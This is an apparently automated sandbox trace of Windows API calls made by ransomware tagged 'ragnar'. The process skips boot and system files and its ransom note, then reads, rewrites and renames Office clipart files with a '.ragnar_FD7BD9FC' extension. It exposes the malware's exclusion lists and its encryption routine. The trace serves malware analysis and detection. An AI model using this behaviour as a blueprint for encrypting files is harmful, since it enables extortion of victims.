[0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="desktop.ini") returned 1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="iconcache.db") returned 1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="ntldr") returned -1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="ntuser.dat") returned -1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="ntuser.dat.log") returned -1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="ntuser.ini") returned -1 [0085.908] lstrcmpiW (lpString1="J0199307.WMF", lpString2="thumbs.db") returned -1 [0085.908] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.908] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.908] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.908] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.908] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.908] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.908] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf")) returned 0x20 [0085.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.909] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=50046) returned 1 [0085.909] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc375, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.909] GetProcessHeap () returned 0x580000 [0085.909] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.909] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.910] VirtualAlloc (lpAddress=0x0, dwSize=0xc37e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.910] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.910] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.911] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc37e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc37e, lpOverlapped=0x0) returned 1 [0085.912] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.913] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc37e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.913] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc37e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc37e, lpOverlapped=0x0) returned 1 [0085.913] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc37e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.913] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.913] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc37e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.913] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.913] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.914] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.914] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.914] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.914] GetProcessHeap () returned 0x580000 [0085.914] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.914] CloseHandle (hObject=0xf4) returned 1 [0085.914] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" [0085.914] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.ragnar_FD7BD9FC" [0085.914] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.915] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1 [0085.915] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.915] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0199423.WMF" | out: lpString1="J0199423.WMF") returned="J0199423.WMF" [0085.915] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned=".WMF" [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="autorun.inf") returned 1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="boot.ini") returned 1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="bootfont.bin") returned 1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="bootsect.bak") returned 1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="bootmgr") returned 1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="bootmgr.efi") returned 1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="bootmgfw.efi") returned 1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="desktop.ini") returned 1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="iconcache.db") returned 1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="ntldr") returned -1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="ntuser.dat") returned -1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="ntuser.dat.log") returned -1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="ntuser.ini") returned -1 [0085.915] lstrcmpiW (lpString1="J0199423.WMF", lpString2="thumbs.db") returned -1 [0085.915] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.915] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.915] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.915] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.915] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.915] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.915] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf")) returned 0x20 [0085.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.916] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26154) returned 1 [0085.916] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6621, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.916] GetProcessHeap () returned 0x580000 [0085.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.916] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.917] VirtualAlloc (lpAddress=0x0, dwSize=0x662a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.918] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.918] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.918] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x662a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x662a, lpOverlapped=0x0) returned 1 [0085.919] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.919] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x662a, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.919] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x662a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x662a, lpOverlapped=0x0) returned 1 [0085.919] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x662a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.919] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.920] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x662a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.920] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.920] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.920] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.920] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.920] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.920] GetProcessHeap () returned 0x580000 [0085.920] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.920] CloseHandle (hObject=0xf4) returned 1 [0085.920] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" [0085.920] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.ragnar_FD7BD9FC" [0085.920] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.921] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1 [0085.921] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.921] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0199429.WMF" | out: lpString1="J0199429.WMF") returned="J0199429.WMF" [0085.921] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned=".WMF" [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="autorun.inf") returned 1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="boot.ini") returned 1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="bootfont.bin") returned 1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="bootsect.bak") returned 1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="bootmgr") returned 1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="bootmgr.efi") returned 1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="bootmgfw.efi") returned 1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="desktop.ini") returned 1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="iconcache.db") returned 1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="ntldr") returned -1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="ntuser.dat") returned -1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="ntuser.dat.log") returned -1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="ntuser.ini") returned -1 [0085.921] lstrcmpiW (lpString1="J0199429.WMF", lpString2="thumbs.db") returned -1 [0085.921] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.921] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.921] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.921] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.921] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.922] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.922] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf")) returned 0x20 [0085.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.922] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16676) returned 1 [0085.922] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x411b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.922] GetProcessHeap () returned 0x580000 [0085.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.922] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.924] VirtualAlloc (lpAddress=0x0, dwSize=0x4124, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.924] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.924] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.924] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4124, lpOverlapped=0x0) returned 1 [0085.925] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.925] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4124, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.925] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4124, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4124, lpOverlapped=0x0) returned 1 [0085.926] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4124, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.926] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.926] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.926] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.926] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.926] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.926] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.926] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.926] GetProcessHeap () returned 0x580000 [0085.926] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.926] CloseHandle (hObject=0xf4) returned 1 [0085.926] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" [0085.926] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.ragnar_FD7BD9FC" [0085.926] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.927] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1 [0085.927] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.927] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0199465.WMF" | out: lpString1="J0199465.WMF") returned="J0199465.WMF" [0085.927] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned=".WMF" [0085.927] lstrcmpiW (lpString1="J0199465.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.927] lstrcmpiW (lpString1="J0199465.WMF", lpString2="autorun.inf") returned 1 [0085.927] lstrcmpiW (lpString1="J0199465.WMF", lpString2="boot.ini") returned 1 [0085.927] lstrcmpiW (lpString1="J0199465.WMF", lpString2="bootfont.bin") returned 1 [0085.927] lstrcmpiW (lpString1="J0199465.WMF", lpString2="bootsect.bak") returned 1 [0085.927] lstrcmpiW (lpString1="J0199465.WMF", lpString2="bootmgr") returned 1 [0085.927] lstrcmpiW (lpString1="J0199465.WMF", lpString2="bootmgr.efi") returned 1 [0085.927] lstrcmpiW (lpString1="J0199465.WMF", lpString2="bootmgfw.efi") returned 1 [0085.927] lstrcmpiW (lpString1="J0199465.WMF", lpString2="desktop.ini") returned 1 [0085.927] lstrcmpiW (lpString1="J0199465.WMF", lpString2="iconcache.db") returned 1 [0085.927] lstrcmpiW (lpString1="J0199465.WMF", lpString2="ntldr") returned -1 [0085.927] lstrcmpiW (lpString1="J0199465.WMF", lpString2="ntuser.dat") returned -1 [0085.928] lstrcmpiW (lpString1="J0199465.WMF", lpString2="ntuser.dat.log") returned -1 [0085.928] lstrcmpiW (lpString1="J0199465.WMF", lpString2="ntuser.ini") returned -1 [0085.928] lstrcmpiW (lpString1="J0199465.WMF", lpString2="thumbs.db") returned -1 [0085.928] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.928] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.928] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.928] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.928] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.928] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.928] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.928] 